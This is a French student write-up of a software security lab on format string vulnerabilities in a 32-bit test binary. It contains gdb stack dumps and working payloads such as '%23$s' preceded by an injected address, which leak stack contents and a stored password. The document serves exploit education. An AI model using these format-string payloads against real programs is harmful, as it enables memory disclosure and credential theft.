---
title: "Sécurité logicielle : TD6 String, format, vulnérabilité"
date: 2023-03-10
tags: ["Assembleur", "x86"]
categories: ["Sécurité logicielle", "TD"]
---

## Partie 1

### Question 1

Ce programme affiche ue première ligne avec les élements suivants (dans
l'ordre)":

 * `c`
 * `AAAA`
 * `0x00000009`
 * `AAA`

Il affiche encuite la valeur de `value` dans uen seconde ligne. Cette valeur a
été écrite par notre premier `fprintf` grace au `%n`.

### Question 2

Grace au commandes passées à `printf`, nous pouvons remontrer dans la pile et
ainsi afficher les adresses.

```
%2p
pframe
[...]
0xffffd60c            0x56555500
0xffffd608            0xffffd700
0xffffd604            0xf7fdb8d0
0xffffd600            0xffffd6c8
0xffffd5fc            0xffffd63c
0xffffd5f8            0xf7fc2540
0xffffd5f4            0x0804bff4
0xffffd5f0            0xf63d4e2e
0xffffd5ec            0x08049192
0xffffd5e8            0x080482ac
0xffffd5e4            0xf7c73230 <- '%p'
0xffffd5e0            0xffffd63c
0xffffd5dc         sp 0x080491b4

(gdb) n
Single stepping until exit from function printf,
which has no line number information.
0xf7c73230                       <- on a bien l'affichage de %p
```

### question 3

Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
l'adresse de la variable `var`: *0xffffc8a8*. Ce qui représente une remontée
dans la pile de 22 élements. Il nous a suffit de renter avec `%22$p` pour
afficher le contenu.

```
./build/vulnerable-1_32
%22$p
0xffffc8a8
```
### Question 4

Modification du fichier de commandes gdb modifié comme ci-dessous pour
automatisée la saisie :

```gdb
b printf
r < <(echo -e '\x31\x32\x33\x34')
```

Nous pouvons maintenant afficher l'adresse de `buf` dans gdb:

```
p &buf
$2 = (char (*)[128]) 0xffffd56c
```
au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
prenant en compte les adresses 32bits et la strack frame conteant le format,
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:

```
echo -e '\x31\x32\x33\x34 %26$p' | setarch -R ./build/vulnerable-1_32
1234 0x34333231
```

### Question 5

D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c`

Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé

```
echo -e '\x1c\xc0\x04\x08  %23$s' | setarch -R ./build/vulnerable-1_32   
secret_password
```

La technique est simple : on injecte dans le buffer l'adresse de la variable
`psswd` découverte au dessus et la "commande" `printf` à utiliser pour afficher
ce qui se trouve à cette adresse.

### question 6

Le fonctionnement est le même que la question 5 : `objdump` + `echo`. Afin
d'afficher les caracteres, il est nécessaure d'utiliser `hexdump`:

```
echo -e '\x2c\xc0\x04\x08  %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
00000000  2c c0 04 08 20 20 31 32  33 12 0a                 |,...  123..|
0000000b
```

### Question 7